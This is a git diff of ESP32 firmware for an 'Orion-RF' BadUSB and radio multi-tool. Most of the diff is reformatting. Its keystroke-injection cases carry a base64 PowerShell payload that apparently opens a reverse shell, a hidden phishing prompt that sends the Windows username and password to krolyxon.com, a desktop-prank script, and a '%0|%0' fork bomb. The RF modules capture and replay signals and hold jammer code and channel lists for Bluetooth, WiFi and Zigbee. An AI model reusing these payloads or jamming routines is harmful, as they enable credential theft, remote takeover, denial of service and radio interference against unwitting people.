"UAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5" + "AHQAZQBzACAAPQA" + "gADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AI" + "AAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGI" + "AeQB0AGUAcwAuAEw" + "AZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOA" + "GUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQA" + "uAFQAZQB4AHQAL" + "gBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQ" + "AYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoA" + "GkAZQB4ACAAJAB" + "kAGEAdABhACAAMgA+" + "ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYw" + "BrADIAIAAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACcAUABTACAAJwAgACsAK" + "ABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAnAD4AIAAnADsAJABzAGUAbgBkAGIAeQB0AGU" + "AIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJA" + "CkALgBHAGUAd" + "ABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBhAG0" + "ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5A" + "HQAZQAuAEwAZQB" + "uAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAa" + "WVudAAuAEMAbABvAHMAZQAoACkAIgApACkAOwBJAG4AdgBvAGsAZQAtAEUAeABwAHIAZQB" + "zAHMAaQBvAG4AIAAoAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAb" + "gBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAGuAZwAoACQAcwAuAFQAbwBBAHI" + "AcgBhAHkAKAApACkAKQA="); - Keyboard.write(KEY_RETURN); - break; - // ================= CREDENTIAL SNATCHER ================= - case 11: - showRunningScreen("Vault Crack"); + Keyboard.write(KEY_RETURN); + break; + // ================= CREDENTIAL SNATCHER ================= + case 11: + showRunningScreen("Vault Crack"); - // Open hidden PowerShell - runCommand("powershell -nop -W Hidden -c \"$cred = $host.ui.PromptForCredential('Windows Security','Please authenticate to update your system credentials.','',''); $p = $cred.GetNetworkCredential().Password; $u = $cred.UserName; Invoke-WebRequest -Uri 'http://krolyxon.com/log?u='+$u+'&p='+$p\""); + // Open hidden PowerShell + runCommand( + "powershell -nop -W Hidden -c \"$cred = " + "$host.ui.PromptForCredential('Windows Security','Please authenticate " + "to update your system credentials.','',''); $p = " + "$cred.GetNetworkCredential().Password; $u = $cred.UserName; " + "Invoke-WebRequest -Uri 'http://krolyxon.com/log?u='+$u+'&p='+$p\""); - break; -// ================= DESKTOP GHOST ================= - case 12: - showRunningScreen("Ghost Mode"); + break; + // ================= DESKTOP GHOST ================= + case 12: + showRunningScreen("Ghost Mode"); - runCommand("powershell -nop -W Hidden -c \"Add-Type -AssemblyName System.Windows.Forms; [System.Windows.Forms.SendKeys]::SendWait('{PRTSC}'); Start-Sleep -s 1; $path = '$env:TEMP\\bg.png'; (Get-Clipboard -Format Image).Save($path); Set-ItemProperty -Path 'HKCU:\\Control Panel\\Desktop' -Name Wallpaper -Value $path; rundll32.exe user32.dll,UpdatePerUserSystemParameters;\""); + runCommand("powershell -nop -W Hidden -c \"Add-Type -AssemblyName " + "System.Windows.Forms; " + "[System.Windows.Forms.SendKeys]::SendWait('{PRTSC}'); " + "Start-Sleep -s 1; $path = '$env:TEMP\\bg.png'; (Get-Clipboard " + "-Format Image).Save($path); Set-ItemProperty -Path " + "'HKCU:\\Control Panel\\Desktop' -Name Wallpaper -Value $path; " + "rundll32.exe user32.dll,UpdatePerUserSystemParameters;\""); - // Hide Desktop Icons (requires a registry tweak) - typeSlow("reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced /v HideIcons /t REG_DWORD /d 1 /f && taskkill /f /im explorer.exe && start explorer.exe"); - Keyboard.write(KEY_RETURN); + // Hide Desktop Icons (requires a registry tweak) + typeSlow("reg add " + "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Adv" + "anced /v HideIcons /t REG_DWORD /d 1 /f && taskkill /f /im " + "explorer.exe && start explorer.exe"); + Keyboard.write(KEY_RETURN); - break; -// ================= FORK BOMB ================= - case 13: - showRunningScreen("System Stress"); + break; + // ================= FORK BOMB ================= + case 13: + showRunningScreen("System Stress"); - runCommand("cmd"); - delay(500); + runCommand("cmd"); + delay(500); - // The shortest deadly command in Windows - typeSlow("%0|%0"); - Keyboard.write(KEY_RETURN); + // The shortest deadly command in Windows + typeSlow("%0|%0"); + Keyboard.write(KEY_RETURN); - break; + break; + } } -} - - diff --git a/src/main.cpp b/src/main.cpp index bc93dd5..280617b 100644 --- a/src/main.cpp +++ b/src/main.cpp @@ -2,9 +2,9 @@ #include #include +#include "libs/BleMouse.h" #include #include -#include "libs/BleMouse.h" #include #include @@ -14,15 +14,14 @@ #include #include +#include #include #include #include -#include - #include "ui/display.h" -#include "utils/buttons.h" #include "ui/menu.h" +#include "utils/buttons.h" #include "config.h" #include "rf/cc1101.h" @@ -33,12 +32,10 @@ USBHIDKeyboard Keyboard; // ===== BLE MOUSE ===== BleMouse bleMouse("Orion-RF", "Orion-RF", 100); - RF24 radio1(CE1_PIN, CSN1_PIN); RF24 radio2(CE2_PIN, CSN2_PIN); SPIClass *RADIO_SPI; - void deactivateNRF1() { digitalWrite(CSN1_PIN, HIGH); digitalWrite(CE1_PIN, LOW); @@ -49,94 +46,80 @@ void deactivateNRF2() { digitalWrite(CE2_PIN, LOW); } - // ================= SYSTEM INFO ================= -void printSystemUsage() -{ - esp_chip_info_t chip_info; +void printSystemUsage() { + esp_chip_info_t chip_info; - esp_chip_info(&chip_info); + esp_chip_info(&chip_info); - Serial.printf("CPU cores: %d\n", chip_info.cores); + Serial.printf("CPU cores: %d\n", chip_info.cores); - Serial.printf( - "Free heap: %d bytes\n", - heap_caps_get_free_size(MALLOC_CAP_DEFAULT) - ); + Serial.printf("Free heap: %d bytes\n", + heap_caps_get_free_size(MALLOC_CAP_DEFAULT)); - Serial.printf( - "PSRAM free: %d bytes\n", - heap_caps_get_free_size(MALLOC_CAP_SPIRAM) - ); + Serial.printf("PSRAM free: %d bytes\n", + heap_caps_get_free_size(MALLOC_CAP_SPIRAM)); } -void showSplash() -{ - u8g2.clearBuffer(); +void showSplash() { + u8g2.clearBuffer(); - u8g2.setFont(u8g2_font_logisoso20_tr); // big font - u8g2.drawStr(10, 40, "Orion-RF"); + u8g2.setFont(u8g2_font_logisoso20_tr); // big font + u8g2.drawStr(10, 40, "Orion-RF"); - u8g2.setFont(u8g2_font_5x8_tr); // small subtitle - u8g2.drawStr(25, 58, "Initializing..."); + u8g2.setFont(u8g2_font_5x8_tr); // small subtitle + u8g2.drawStr(25, 58, "Initializing..."); - u8g2.sendBuffer(); + u8g2.sendBuffer(); - delay(1500); // 1.5 sec + delay(1500); // 1.5 sec } - // ================= SETUP ================= -void setup() -{ - Serial.begin(115200); +void setup() { + Serial.begin(115200); - displayInit(); - showSplash(); + displayInit(); + showSplash(); - buttonsInit(); - menuInit(); + buttonsInit(); + menuInit(); - delay(1500); + delay(1500); - USB.begin(); - Keyboard.begin(); + USB.begin(); + Keyboard.begin(); + // NRF SPI safety + // pinMode(CSN1_PIN, OUTPUT); + // digitalWrite(CSN1_PIN, HIGH); + // pinMode(CSN2_PIN, OUTPUT); + // digitalWrite(CSN2_PIN, HIGH); + deactivateNRF1(); + deactivateNRF2(); - // NRF SPI safety - //pinMode(CSN1_PIN, OUTPUT); - //digitalWrite(CSN1_PIN, HIGH); + RADIO_SPI = new SPIClass(FSPI); + RADIO_SPI->begin(NRF_SCK, NRF_MISO, NRF_MOSI); - //pinMode(CSN2_PIN, OUTPUT); - //digitalWrite(CSN2_PIN, HIGH); - deactivateNRF1(); - deactivateNRF2(); + // ===== CC1101 SPI INIT ===== + // SPI.begin( + // cc1101_SCK, + // cc1101_MISO, + // cc1101_MOSI, + // CC1101_CS + //); - RADIO_SPI = new SPIClass(FSPI); - RADIO_SPI->begin(NRF_SCK, NRF_MISO, NRF_MOSI); + // pinMode(CC1101_CS, OUTPUT); + // pinMode(CC1101_2_CS, OUTPUT); - // ===== CC1101 SPI INIT ===== - //SPI.begin( - // cc1101_SCK, - // cc1101_MISO, - // cc1101_MOSI, - // CC1101_CS - //); + // digitalWrite(CC1101_CS, HIGH); + // digitalWrite(CC1101_2_CS, HIGH); - //pinMode(CC1101_CS, OUTPUT); - //pinMode(CC1101_2_CS, OUTPUT); + printSystemUsage(); - //digitalWrite(CC1101_CS, HIGH); - //digitalWrite(CC1101_2_CS, HIGH); - - printSystemUsage(); - - Serial.println("SYSTEM READY"); + Serial.println("SYSTEM READY"); } // ================= LOOP ================= -void loop() -{ - menuLoop(); -} +void loop() { menuLoop(); } diff --git a/src/nfc/nfc.cpp b/src/nfc/nfc.cpp index 474b4a0..99dc1a7 100644 --- a/src/nfc/nfc.cpp +++ b/src/nfc/nfc.cpp @@ -1,117 +1,104 @@ #include "nfc.h" +#include #include #include -#include -#include "ui/display.h" -#include "../utils/buttons.h" #include "../config.h" +#include "../utils/buttons.h" +#include "ui/display.h" -#define PN532_IRQ -1 +#define PN532_IRQ -1 #define PN532_RESET -1 -//Adafruit_PN532 nfc(Wire); +// Adafruit_PN532 nfc(Wire); Adafruit_PN532 nfc(PN532_IRQ, PN532_RESET, &Wire); -void drawWaiting() -{ - u8g2.clearBuffer(); +void drawWaiting() { + u8g2.clearBuffer(); - u8g2.drawStr(10, 20, "PN532 Ready"); - u8g2.drawStr(10, 40, "Tap NFC Card"); + u8g2.drawStr(10, 20, "PN532 Ready"); + u8g2.drawStr(10, 40, "Tap NFC Card"); - u8g2.sendBuffer(); + u8g2.sendBuffer(); } -void showUID(uint8_t *uid, uint8_t uidLength) -{ - char line[64]; +void showUID(uint8_t *uid, uint8_t uidLength) { + char line[64]; - String uidStr = ""; + String uidStr = ""; - for (int i = 0; i < uidLength; i++) - { - if (uid[i] < 0x10) - uidStr += "0"; + for (int i = 0; i < uidLength; i++) { + if (uid[i] < 0x10) + uidStr += "0"; - uidStr += String(uid[i], HEX); - uidStr += " "; - } + uidStr += String(uid[i], HEX); + uidStr += " "; + } - uidStr.toUpperCase(); + uidStr.toUpperCase(); + + u8g2.clearBuffer(); + + u8g2.drawStr(0, 15, "Card Detected"); + + snprintf(line, sizeof(line), "UID:"); + + u8g2.drawStr(0, 35, line); + + u8g2.drawStr(0, 50, uidStr.c_str()); + + u8g2.sendBuffer(); +} + +void pn532_init() { + delay(100); + nfc.begin(); + delay(100); + + uint32_t versiondata = nfc.getFirmwareVersion(); + + if (!versiondata) { + Serial.println("PN532 not found"); u8g2.clearBuffer(); - - u8g2.drawStr(0, 15, "Card Detected"); - - snprintf(line, sizeof(line), "UID:"); - - u8g2.drawStr(0, 35, line); - - u8g2.drawStr(0, 50, uidStr.c_str()); - + u8g2.drawStr(0, 20, "PN532 NOT FOUND"); u8g2.sendBuffer(); + + delay(2000); + return; + } + + Serial.println("PN532 initialized"); + + nfc.SAMConfig(); } -void pn532_init() -{ - delay(100); - nfc.begin(); - delay(100); +void pn532_scan_loop() { + pn532_init(); - uint32_t versiondata = nfc.getFirmwareVersion(); + drawWaiting(); - if (!versiondata) - { - Serial.println("PN532 not found"); + while (1) { + uint8_t success; + uint8_t uid[7]; + uint8_t uidLength; - u8g2.clearBuffer(); - u8g2.drawStr(0, 20, "PN532 NOT FOUND"); - u8g2.sendBuffer(); + Serial.println("Scanning..."); + success = + nfc.readPassiveTargetID(PN532_MIFARE_ISO14443A, uid, &uidLength, 50); - delay(2000); - return; + if (success) { + Serial.println("Card detected"); + + showUID(uid, uidLength); + + delay(1000); } - Serial.println("PN532 initialized"); - - nfc.SAMConfig(); -} - -void pn532_scan_loop() -{ - pn532_init(); - - drawWaiting(); - - while (1) - { - uint8_t success; - uint8_t uid[7]; - uint8_t uidLength; - - Serial.println("Scanning..."); - success = nfc.readPassiveTargetID( - PN532_MIFARE_ISO14443A, - uid, - &uidLength, - 50 - ); - - if (success) - { - Serial.println("Card detected"); - - showUID(uid, uidLength); - - delay(1000); - } - - if (btnBack()) - { - delay(150); - break; - } + if (btnBack()) { + delay(150); + break; } + } } diff --git a/src/rf/cc1101.cpp b/src/rf/cc1101.cpp index 50530f4..f9b16b7 100644 --- a/src/rf/cc1101.cpp +++ b/src/rf/cc1101.cpp @@ -1,10 +1,10 @@ -#include -#include "../libs/ELECHOUSE_CC1101_SRC_DRV.h" #include "cc1101.h" #include "../config.h" -#include "SPI.h" +#include "../libs/ELECHOUSE_CC1101_SRC_DRV.h" #include "../ui/display.h" #include "../utils/buttons.h" +#include "SPI.h" +#include // ===== CONFIG ===== #define RAW_BUF_MAX 512 @@ -26,383 +26,332 @@ float rxBW = 325.0; int powerLevel = 10; // ===== ISR ===== -void IRAM_ATTR pulseISR() -{ - unsigned long now = micros(); +void IRAM_ATTR pulseISR() { + unsigned long now = micros(); - if (!capturing) return; - if (pulseIndex >= RAW_BUF_MAX) return; + if (!capturing) + return; + if (pulseIndex >= RAW_BUF_MAX) + return; - unsigned long duration = now - lastEdgeTime; + unsigned long duration = now - lastEdgeTime; - if (duration < 150) return; + if (duration < 150) + return; - captureBuffer[pulseIndex++] = duration; - lastEdgeTime = now; + captureBuffer[pulseIndex++] = duration; + lastEdgeTime = now; } // ===== OOK SETUP ===== -void setupOOKMode() -{ - ELECHOUSE_cc1101.SetRx(); - ELECHOUSE_cc1101.setMHZ(currentFreq); +void setupOOKMode() { + ELECHOUSE_cc1101.SetRx(); + ELECHOUSE_cc1101.setMHZ(currentFreq); - ELECHOUSE_cc1101.setModulation(2); // ASK/OOK - ELECHOUSE_cc1101.setDRate(dataRate); - ELECHOUSE_cc1101.setDeviation(0); - ELECHOUSE_cc1101.setRxBW(rxBW); - ELECHOUSE_cc1101.setSyncMode(0); - ELECHOUSE_cc1101.setPA(powerLevel); + ELECHOUSE_cc1101.setModulation(2); // ASK/OOK + ELECHOUSE_cc1101.setDRate(dataRate); + ELECHOUSE_cc1101.setDeviation(0); + ELECHOUSE_cc1101.setRxBW(rxBW); + ELECHOUSE_cc1101.setSyncMode(0); + ELECHOUSE_cc1101.setPA(powerLevel); } // ===== INIT (LAZY, SAFE) ===== // ================= CC1101 INIT ================= -bool initCC1101() -{ - Serial.println(); - Serial.println("===== CC1101 INIT ====="); +bool initCC1101() { + Serial.println(); + Serial.println("===== CC1101 INIT ====="); - // ===== SPI ===== - SPI.begin( - cc1101_SCK, - cc1101_MISO, - cc1101_MOSI, - CC1101_CS - ); + // ===== SPI ===== + SPI.begin(cc1101_SCK, cc1101_MISO, cc1101_MOSI, CC1101_CS); - pinMode(CC1101_CS, OUTPUT); - digitalWrite(CC1101_CS, HIGH); + pinMode(CC1101_CS, OUTPUT); + digitalWrite(CC1101_CS, HIGH); - delay(100); + delay(100); - // ===== GDO ===== - ELECHOUSE_cc1101.setGDO( - CC1101_GDO0, - -1 - ); + // ===== GDO ===== + ELECHOUSE_cc1101.setGDO(CC1101_GDO0, -1); - ELECHOUSE_cc1101.setSpiPin( - cc1101_SCK, - cc1101_MISO, - cc1101_MOSI, - CC1101_CS - ); + ELECHOUSE_cc1101.setSpiPin(cc1101_SCK, cc1101_MISO, cc1101_MOSI, CC1101_CS); - // ===== DETECT ===== - Serial.println("Checking chip..."); + // ===== DETECT ===== + Serial.println("Checking chip..."); - if (!ELECHOUSE_cc1101.getCC1101()) - { - Serial.println("❌ CC1101 NOT FOUND"); - return false; - } + if (!ELECHOUSE_cc1101.getCC1101()) { + Serial.println("❌ CC1101 NOT FOUND"); + return false; + } - Serial.println("✅ CC1101 FOUND"); + Serial.println("✅ CC1101 FOUND"); - // ===== IMPORTANT ===== - // DO NOT CALL Init() - // it freezes on some ESP32-S3 setups + // ===== IMPORTANT ===== + // DO NOT CALL Init() + // it freezes on some ESP32-S3 setups - // ===== MANUAL CONFIG ===== - ELECHOUSE_cc1101.setMHZ(currentFreq); + // ===== MANUAL CONFIG ===== + ELECHOUSE_cc1101.setMHZ(currentFreq); - // 2 = ASK/OOK - ELECHOUSE_cc1101.setModulation(2); + // 2 = ASK/OOK + ELECHOUSE_cc1101.setModulation(2); - ELECHOUSE_cc1101.setDRate(dataRate); + ELECHOUSE_cc1101.setDRate(dataRate); - ELECHOUSE_cc1101.setRxBW(rxBW); + ELECHOUSE_cc1101.setRxBW(rxBW); - ELECHOUSE_cc1101.setDeviation(0); + ELECHOUSE_cc1101.setDeviation(0); - // disable sync requirement - ELECHOUSE_cc1101.setSyncMode(0); + // disable sync requirement + ELECHOUSE_cc1101.setSyncMode(0); - ELECHOUSE_cc1101.setPA(powerLevel); + ELECHOUSE_cc1101.setPA(powerLevel); - // async serial mode - ELECHOUSE_cc1101.setCCMode(0); + // async serial mode + ELECHOUSE_cc1101.setCCMode(0); - // enter RX - ELECHOUSE_cc1101.SetRx(); + // enter RX + ELECHOUSE_cc1101.SetRx(); - pinMode(CC1101_GDO0, INPUT); + pinMode(CC1101_GDO0, INPUT); - Serial.println("✅ RX MODE READY"); + Serial.println("✅ RX MODE READY"); - cc1101Inited = true; - return true; + cc1101Inited = true; + return true; } // ===== CAPTURE CONTROL ===== -void startCapture() -{ - pulseIndex = 0; - capturing = true; - lastEdgeTime = micros(); +void startCapture() { + pulseIndex = 0; + capturing = true; + lastEdgeTime = micros(); - attachInterrupt( - digitalPinToInterrupt(CC1101_GDO0), - pulseISR, - CHANGE - ); + attachInterrupt(digitalPinToInterrupt(CC1101_GDO0), pulseISR, CHANGE); - Serial.println("Looking for RF... "); + Serial.println("Looking for RF... "); } -bool isCC1101Ready() { - return cc1101Inited; -} +bool isCC1101Ready() { return cc1101Inited; } -void stopCapture() -{ - capturing = false; +void stopCapture() { + capturing = false; - detachInterrupt(digitalPinToInterrupt(CC1101_GDO0)); + detachInterrupt(digitalPinToInterrupt(CC1101_GDO0)); - Serial.println("Capture stopped"); + Serial.println("Capture stopped"); } // ===== DEBUG PRINT ===== -void printCapture() -{ - Serial.println("Captured pulses:"); +void printCapture() { + Serial.println("Captured pulses:"); - for (int i = 0; i < pulseIndex; i++) - { - Serial.println(captureBuffer[i]); - } + for (int i = 0; i < pulseIndex; i++) { + Serial.println(captureBuffer[i]); + } } - // ================= REPLAY ================= -void replaySignal() -{ - Serial.println(); - Serial.println("Replaying signal..."); +void replaySignal() { + Serial.println(); + Serial.println("Replaying signal..."); - stopCapture(); + stopCapture(); - ELECHOUSE_cc1101.SetTx(); + ELECHOUSE_cc1101.SetTx(); - pinMode(CC1101_GDO0, OUTPUT); + pinMode(CC1101_GDO0, OUTPUT); - for (int i = 0; i < pulseIndex; i++) - { - digitalWrite( - CC1101_GDO0, - (i % 2 == 0) ? HIGH : LOW - ); + for (int i = 0; i < pulseIndex; i++) { + digitalWrite(CC1101_GDO0, (i % 2 == 0) ? HIGH : LOW); - delayMicroseconds(captureBuffer[i]); - } + delayMicroseconds(captureBuffer[i]); + } - digitalWrite(CC1101_GDO0, LOW); + digitalWrite(CC1101_GDO0, LOW); - ELECHOUSE_cc1101.SetRx(); + ELECHOUSE_cc1101.SetRx(); - pinMode(CC1101_GDO0, INPUT); + pinMode(CC1101_GDO0, INPUT); - Serial.println("Replay complete"); + Serial.println("Replay complete"); } +void captureAndDisplay() { + if (!cc1101Inited) { + if (!initCC1101()) { + u8g2.clearBuffer(); + u8g2.setFont(u8g2_font_6x10_tr); + u8g2.drawStr(0, 20, "CC1101 Failed"); + u8g2.sendBuffer(); + return; + } + } -void captureAndDisplay() -{ - if (!cc1101Inited) - { - if (!initCC1101()) - { - u8g2.clearBuffer(); - u8g2.setFont(u8g2_font_6x10_tr); - u8g2.drawStr(0, 20, "CC1101 Failed"); - u8g2.sendBuffer(); - return; - } + startCapture(); + + u8g2.clearBuffer(); + u8g2.setFont(u8g2_font_6x10_tr); + u8g2.drawStr(0, 12, "CC1101 Capture"); + u8g2.drawStr(0, 28, "Waiting RF..."); + u8g2.drawStr(0, 60, "BACK = Exit"); + u8g2.sendBuffer(); + + unsigned long lastSignal = millis(); + int lastPulseCount = 0; + + while (true) { + // signal detected + if (pulseIndex > lastPulseCount) { + lastPulseCount = pulseIndex; + lastSignal = millis(); } - startCapture(); + // update OLED + u8g2.clearBuffer(); + u8g2.setFont(u8g2_font_6x10_tr); + + u8g2.drawStr(0, 12, "CC1101 Capture"); + + u8g2.setCursor(0, 28); + u8g2.print("Pulses: "); + u8g2.print(pulseIndex); + + u8g2.setCursor(0, 42); + u8g2.print("Freq: "); + u8g2.print(currentFreq); + u8g2.print(" MHz"); + + if (pulseIndex > 0) { + u8g2.drawStr(0, 54, "Signal Detected"); + } else { + u8g2.drawStr(0, 54, "Waiting..."); + } + + u8g2.sendBuffer(); + + // auto print once capture stabilizes + if (pulseIndex > 20 && (millis() - lastSignal > 1500)) { + stopCapture(); + + Serial.println(); + Serial.println("===== RF CAPTURE ====="); + + for (int i = 0; i < pulseIndex; i++) { + Serial.print(captureBuffer[i]); + Serial.print(", "); + } + + Serial.println(); + + u8g2.clearBuffer(); + u8g2.setFont(u8g2_font_6x10_tr); + u8g2.drawStr(0, 15, "Capture Complete"); + + u8g2.setCursor(0, 35); + } + } +} + +void handleMenu() { + if (!isCC1101Ready()) { + if (!initCC1101()) { + u8g2.clearBuffer(); + u8g2.setFont(u8g2_font_6x10_tr); + u8g2.drawStr(0, 20, "CC1101 Failed"); + u8g2.sendBuffer(); + delay(1500); + return; + } + } + + pulseIndex = 0; + + startCapture(); + + // ===== CAPTURE FOR 5 SEC ===== + unsigned long start = millis(); + + while (millis() - start < 5000) { + noInterrupts(); + int count = pulseIndex; + interrupts(); u8g2.clearBuffer(); u8g2.setFont(u8g2_font_6x10_tr); - u8g2.drawStr(0, 12, "CC1101 Capture"); - u8g2.drawStr(0, 28, "Waiting RF..."); - u8g2.drawStr(0, 60, "BACK = Exit"); + + u8g2.drawStr(0, 12, "RF Capturing..."); + + u8g2.setCursor(0, 30); + u8g2.print("Pulses: "); + u8g2.print(count); + u8g2.sendBuffer(); - unsigned long lastSignal = millis(); - int lastPulseCount = 0; + delay(50); + } - while (true) - { - // signal detected - if (pulseIndex > lastPulseCount) - { - lastPulseCount = pulseIndex; - lastSignal = millis(); - } + stopCapture(); - // update OLED - u8g2.clearBuffer(); - u8g2.setFont(u8g2_font_6x10_tr); + // ===== DISPLAY CAPTURE BUFFER ===== + int scroll = 0; - u8g2.drawStr(0, 12, "CC1101 Capture"); + while (1) { + noInterrupts(); + int count = pulseIndex; + interrupts(); - u8g2.setCursor(0, 28); - u8g2.print("Pulses: "); - u8g2.print(pulseIndex); + u8g2.clearBuffer(); + u8g2.setFont(u8g2_font_5x8_tr); - u8g2.setCursor(0, 42); - u8g2.print("Freq: "); - u8g2.print(currentFreq); - u8g2.print(" MHz"); + u8g2.drawStr(0, 8, "Captured Buffer"); - if (pulseIndex > 0) - { - u8g2.drawStr(0, 54, "Signal Detected"); - } - else - { - u8g2.drawStr(0, 54, "Waiting..."); - } + // display 6 lines + for (int i = 0; i < 6; i++) { + int idx = scroll + i; - u8g2.sendBuffer(); + if (idx >= count) + break; - // auto print once capture stabilizes - if (pulseIndex > 20 && (millis() - lastSignal > 1500)) - { - stopCapture(); + noInterrupts(); + unsigned long val = captureBuffer[idx]; + interrupts(); - Serial.println(); - Serial.println("===== RF CAPTURE ====="); + char buf[32]; - for (int i = 0; i < pulseIndex; i++) - { - Serial.print(captureBuffer[i]); - Serial.print(", "); - } + snprintf(buf, sizeof(buf), "%03d: %lu", idx, val); - Serial.println(); - - u8g2.clearBuffer(); - u8g2.setFont(u8g2_font_6x10_tr); - u8g2.drawStr(0, 15, "Capture Complete"); - - u8g2.setCursor(0, 35); -} -} -} - -void handleMenu() -{ - if (!isCC1101Ready()) - { - if (!initCC1101()) - { - u8g2.clearBuffer(); - u8g2.setFont(u8g2_font_6x10_tr); - u8g2.drawStr(0, 20, "CC1101 Failed"); - u8g2.sendBuffer(); - delay(1500); - return; - } + u8g2.drawStr(0, 20 + (i * 8), buf); } - pulseIndex = 0; + u8g2.sendBuffer(); - startCapture(); + // scroll down + if (btnDown()) { + if (scroll < count - 1) + scroll++; - // ===== CAPTURE FOR 5 SEC ===== - unsigned long start = millis(); - - while (millis() - start < 5000) - { - noInterrupts(); - int count = pulseIndex; - interrupts(); - - u8g2.clearBuffer(); - u8g2.setFont(u8g2_font_6x10_tr); - - u8g2.drawStr(0, 12, "RF Capturing..."); - - u8g2.setCursor(0, 30); - u8g2.print("Pulses: "); - u8g2.print(count); - - u8g2.sendBuffer(); - - delay(50); + delay(120); } - stopCapture(); + // scroll up + if (btnUp()) { + if (scroll > 0) + scroll--; - // ===== DISPLAY CAPTURE BUFFER ===== - int scroll = 0; - - while (1) - { - noInterrupts(); - int count = pulseIndex; - interrupts(); - - u8g2.clearBuffer(); - u8g2.setFont(u8g2_font_5x8_tr); - - u8g2.drawStr(0, 8, "Captured Buffer"); - - // display 6 lines - for (int i = 0; i < 6; i++) - { - int idx = scroll + i; - - if (idx >= count) - break; - - noInterrupts(); - unsigned long val = captureBuffer[idx]; - interrupts(); - - char buf[32]; - - snprintf(buf, sizeof(buf), "%03d: %lu", idx, val); - - u8g2.drawStr(0, 20 + (i * 8), buf); - } - - u8g2.sendBuffer(); - - // scroll down - if (btnDown()) - { - if (scroll < count - 1) - scroll++; - - delay(120); - } - - // scroll up - if (btnUp()) - { - if (scroll > 0) - scroll--; - - delay(120); - } - - // replay - if (btnSelect()) - { - replaySignal(); - delay(300); - } - - // exit - if (btnBack()) - { - delay(150); - return; - } - - delay(20); + delay(120); } + + // replay + if (btnSelect()) { + replaySignal(); + delay(300); + } + + // exit + if (btnBack()) { + delay(150); + return; + } + + delay(20); + } } diff --git a/src/rf/nrf24.cpp b/src/rf/nrf24.cpp index b780725..fb6e1ee 100644 --- a/src/rf/nrf24.cpp +++ b/src/rf/nrf24.cpp @@ -1,8 +1,8 @@ -#include -#include #include "nrf24.h" #include "../ui/display.h" #include "../utils/buttons.h" +#include +#include #define JAM_DURATION 500 extern SPIClass *RADIO_SPI; @@ -11,239 +11,206 @@ extern RF24 radio2; // ============ CHANNELS ============= const byte bleChannels[] = {2, 26, 80}; -const byte bluetoothChannels[] = { - 32, 34, 46, 48, 50, 52, - 0, 1, 2, 4, 6, 8, - 22, 24, 26, 28, 30, - 74, 76, 78, 80 -}; -const byte wifiChannels[] = { - 12, 17, 22, 27, 32, - 37, 42, 47, 52, 57, - 62, 67, 72 -}; -const byte usbWireless_channels[] = {40, 50, 60}; +const byte bluetoothChannels[] = {32, 34, 46, 48, 50, 52, 0, 1, 2, 4, 6, + 8, 22, 24, 26, 28, 30, 74, 76, 78, 80}; +const byte wifiChannels[] = {12, 17, 22, 27, 32, 37, 42, + 47, 52, 57, 62, 67, 72}; +const byte usbWireless_channels[] = {40, 50, 60}; const byte videoTransmitter_channels[] = {70, 75, 80}; -const byte zigbee_channels[] = {11, 15, 20, 25}; -const byte rc_channels[] = {1, 3, 5, 7}; +const byte zigbee_channels[] = {11, 15, 20, 25}; +const byte rc_channels[] = {1, 3, 5, 7}; -void initNRF(RF24 &radio) -{ - if (!radio.begin(RADIO_SPI)) { - Serial.println("NRF not found"); - return; - } - - radio.setAutoAck(false); - radio.stopListening(); - radio.setRetries(0, 0); - radio.setPALevel(RF24_PA_MAX, true); - radio.setDataRate(RF24_2MBPS); - radio.openWritingPipe(0xE7E7E7E7E7LL); - radio.setCRCLength(RF24_CRC_DISABLED); - Serial.println("NRF Initialized"); +void initNRF(RF24 &radio) { + if (!radio.begin(RADIO_SPI)) { + Serial.println("NRF not found"); + return; + } + radio.setAutoAck(false); + radio.stopListening(); + radio.setRetries(0, 0); + radio.setPALevel(RF24_PA_MAX, true); + radio.setDataRate(RF24_2MBPS); + radio.openWritingPipe(0xE7E7E7E7E7LL); + radio.setCRCLength(RF24_CRC_DISABLED); + Serial.println("NRF Initialized"); } - - -//void startBleJammer() { -// initNRF(radio1); -// initNRF(radio2); +// void startBleJammer() { +// initNRF(radio1); +// initNRF(radio2); // -// Serial.println("NRF JAMMER STARTED"); +// Serial.println("NRF JAMMER STARTED"); // -// const char payload[] = "xxxxxxxxxxxxxxxx"; +// const char payload[] = "xxxxxxxxxxxxxxxx"; // -// u8g2.clearBuffer(); -// u8g2.drawStr(0, 10, "Jamming:"); -// u8g2.setCursor(60, 10); -// u8g2.print("Bluetooth"); -// u8g2.sendBuffer(); +// u8g2.clearBuffer(); +// u8g2.drawStr(0, 10, "Jamming:"); +// u8g2.setCursor(60, 10); +// u8g2.print("Bluetooth"); +// u8g2.sendBuffer(); // -// while(true) { +// while(true) { // -// // Channels (you can change this set) -// const byte channels[] = {2, 26, 80}; +// // Channels (you can change this set) +// const byte channels[] = {2, 26, 80}; // 